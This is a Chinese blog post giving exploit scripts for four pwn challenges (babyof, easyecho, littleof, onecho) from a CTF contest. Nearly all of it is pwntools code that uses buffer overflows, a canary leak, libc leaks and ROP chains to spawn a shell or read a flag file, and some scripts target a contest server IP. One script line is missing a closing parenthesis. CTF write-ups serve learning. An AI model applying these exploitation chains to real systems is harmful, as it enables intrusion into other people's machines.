# 鹤城杯PWN几道题的writeup

原创

拾光、 于 2021-10-09 22:58:18 发布 65 收藏
分类专栏： ctf 文章标签： linux

本文链接：https://blog.csdn.net/wdearzh/article/details/120680541



目录



---

## babyof

```
#encoding=utf-8
from pwn import *
context(os='linux',arch='amd64')
fpath='/home/kali/ctf/pwn/ti/hb/babyof/babyof'
r = process(fpath)
#r = remote("182.116.62.85",21613)
elf = ELF(fpath)
libc =elf.libc

poprdi_addr = 0x400743
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400550
payload = b'a'*0x40 +p64(0)+p64(poprdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter("Do you know how to do buffer overflow?", payload)
r.recvuntil("I hope you win\n")
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:"+hex(libc_base))

sysoffset   = libc.symbols['system']
sys_addr=sysoffset + libc_base
print("sys_addr:"+hex(sys_addr))
sh_offset=next(libc.search(b"/bin/sh\0"))
sh_addr=sh_offset + libc_base
print("sh_addr:"+hex(sh_addr))

ret_addr = poprdi_addr +1
payload=b"A"*0x40+p64(0)+p64(poprdi_addr)+p64(sh_addr)+p64(ret_addr)+p64(sys_addr)
r.sendlineafter("Do you know how to do buffer overflow?", payload)
r.interactive()
```

## easyecho

```
#encoding=utf-8
from pwn import *
context.log_level = 'debug'
fpath='/home/kali/ctf/pwn/ti/hb/easyecho'
#r = process(fpath)
r = remote("182.116.62.85",24842)
elf = ELF(fpath)
libc =elf.libc

r.sendlineafter("Please give me your name~", 'w'*16)
r.recvuntil('w'*16)
func_addr = u64(r.recv(6).ljust(8,b'\0'))
print("func_addr:"+hex(func_addr))

r.sendlineafter("Input:", 'backdoor')
buf_addr = func_addr+0x201350
payload = b'exitexit\0'
payload = payload.ljust(0x98,b'a') + p64(buf_addr)*100

r.sendlineafter("Input:", payload)

r.interactive()
```

## littleof

```
#encoding=utf-8
from pwn import *
context(os='linux',arch='amd64')
fpath='/home/kali/ctf/pwn/ti/hb/littleof/littleof'
#r = process(fpath)
r = remote("182.116.62.85",27056)
elf = ELF(fpath)
libc =elf.libc

payload = b'a'*(0x50 - 8)
r.sendlineafter("Do you know how to do buffer overflow?", payload)
#泄露canary
r.recvuntil(payload)
canary=u64(r.recv(8))-0x0a
print("canary:"+hex(canary))
init_addr=u64(r.recv(6).ljust(8, b'\0'))
print("init_addr:"+hex(init_addr))



poprdi_addr = 0x400863
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x400600
payload = b'a'*(0x50 - 8) +p64(canary) +p64(0) + p64(poprdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr
r.sendlineafter("Try harder!", payload)
r.recvuntil("I hope you win\n")
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:"+hex(libc_base))

sysoffset   = libc.symbols['system']
sys_addr=sysoffset + libc_base
print("sys_addr:"+hex(sys_addr))
sh_offset=next(libc.search(b"/bin/sh\0"))
sh_addr=sh_offset + libc_base
print("sh_addr:"+hex(sh_addr))

r.sendlineafter("Do you know how to do buffer overflow?", "aa")

ret_addr = poprdi_addr +1
payload=b'a'*(0x50 - 8) +p64(canary) +p64(0)+p64(poprdi_addr)+p64(sh_addr)+p64(ret_addr)+p64(sys_addr) #sys
r.sendline(payload)
r.interactive()
```

## onecho

```
#encoding=utf-8

#puts 泄露 libc地址后 orw

from pwn import *
context.log_level = 'debug'
fpath='/home/kali/ctf/pwn/ti/hb/onecho/onecho'
r = process(fpath)
#r = remote("182.116.62.85",21613)
elf = ELF(fpath)
libc =elf.libc
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']


main_addr = 0x804966E
start_addr = 0x80495C6
bss = elf.bss()
print("bss:"+hex(bss))
pop_ret = 0x08049842
payload = b'flag\0'
payload = payload.ljust(0x10C,b'\0')
payload +=p32(0)+p32(pop_ret)+p32(bss)+p32(puts_plt)+p32(start_addr)+p32(puts_got)

r.sendlineafter("Input your name:", payload)
r.recvuntil('\n')
puts_addr = u32(r.recv(4))
print("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:"+hex(libc_base))

open_addr = libc_base + libc.symbols['open']
print("open_addr:"+hex(open_addr))
read_addr = libc_base + libc.symbols['read']
print("read_addr:"+hex(read_addr))
write_addr = libc_base + libc.symbols['write']
print("write_addr:"+hex(write_addr))


pop_ret = 0x08049842
pop3_ret = 0x000b82b7+libc_base
payload = b'./flag\0'
payload = payload.ljust(0x10C,b'\0')
payload +=p32(0)+p32(pop3_ret)+p32(bss)+p32(1000)+p32(1000)
payload +=p32(open_addr)+p32(pop3_ret)+p32(bss)+p32(0)+p32(0)
payload +=p32(read_addr)+p32(pop3_ret)+p32(3)+p32(bss)+p32(30)
payload +=p32(write_addr)+p32(pop3_ret)+p32(1)+p32(bss)+p32(30)

r.sendline(payload)
r.interactive()
```